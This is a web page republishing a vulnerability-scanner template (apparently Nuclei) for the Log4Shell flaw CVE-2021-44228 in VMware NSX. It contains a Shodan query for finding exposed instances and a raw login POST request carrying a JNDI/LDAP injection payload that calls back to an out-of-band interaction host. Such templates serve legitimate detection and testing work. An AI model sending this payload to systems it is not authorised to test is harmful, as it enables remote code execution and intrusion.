vmware-nsx-log4j-rce: VMware NSX - Remote Code Execution (Apache Log4j)

2025-08-01 VMware NSX PoC Public

Description

VMware NSX is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

PoC

id: vmware-nsx-log4j-rce

info:
  name: VMware NSX - Remote Code Execution (Apache Log4j)
  author: DhiyaneshDK
  severity: critical
  description: VMware NSX is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  reference:
    - https://kb.vmware.com/s/article/87086
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77,CWE-502
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"vmw_nsx_logo-black-triangle-500w.png"
  tags: cve,cve2021,rce,jndi,log4j,graylog,kev,oast,vuln
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'

http:
  - raw:
      - |
        @timeout: 20s
        POST /login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/login.jsp

        username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}}&password=admin&submit=

    matchers-condition: and
    matchers:
      - type: word
        part: location
        words:
          - '/login.jsp?login_error=1'

      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

    extractors:
      - type: kval
        kval:
          - interactsh_ip

      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 490a004630440220184647e685797a83fd2d41d6a3b0e83da0cf14be252e5171081552d5d99f192202207c4b802cc47cd2770fc616d4aee85fb37495dd0ea6eda33c662e1fc84d34ff9f:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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